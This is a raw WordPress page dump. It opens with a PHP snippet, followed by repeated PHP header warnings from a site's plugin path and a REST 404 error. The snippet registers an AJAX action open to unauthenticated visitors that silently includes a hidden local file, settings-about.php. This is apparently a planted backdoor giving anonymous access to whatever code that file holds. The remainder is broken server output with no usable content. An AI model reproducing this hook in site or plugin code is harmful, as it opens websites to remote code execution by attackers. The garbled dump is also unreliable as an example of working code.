if(!function_exists('file_manager_check_dt')){
   add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt');
   add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt');
   function file_manager_check_dt()
   {
      $file = __DIR__ . '/settings-about.php';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
<br />
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<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home1/unblevkj/intertechglobal.com/sanitization/wp-content/plugins/call-now-button/call-now-button.php:730) in <b>/home1/unblevkj/intertechglobal.com/sanitization/wp-includes/rest-api/class-wp-rest-server.php</b> on line <b>1893</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home1/unblevkj/intertechglobal.com/sanitization/wp-content/plugins/call-now-button/call-now-button.php:730) in <b>/home1/unblevkj/intertechglobal.com/sanitization/wp-includes/rest-api/class-wp-rest-server.php</b> on line <b>1893</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home1/unblevkj/intertechglobal.com/sanitization/wp-content/plugins/call-now-button/call-now-button.php:730) in <b>/home1/unblevkj/intertechglobal.com/sanitization/wp-includes/rest-api/class-wp-rest-server.php</b> on line <b>1893</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home1/unblevkj/intertechglobal.com/sanitization/wp-content/plugins/call-now-button/call-now-button.php:730) in <b>/home1/unblevkj/intertechglobal.com/sanitization/wp-includes/rest-api/class-wp-rest-server.php</b> on line <b>1893</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home1/unblevkj/intertechglobal.com/sanitization/wp-content/plugins/call-now-button/call-now-button.php:730) in <b>/home1/unblevkj/intertechglobal.com/sanitization/wp-includes/rest-api/class-wp-rest-server.php</b> on line <b>1893</b><br />
{"code":"rest_no_route","message":"No route was found matching the URL and request method.","data":{"status":404}}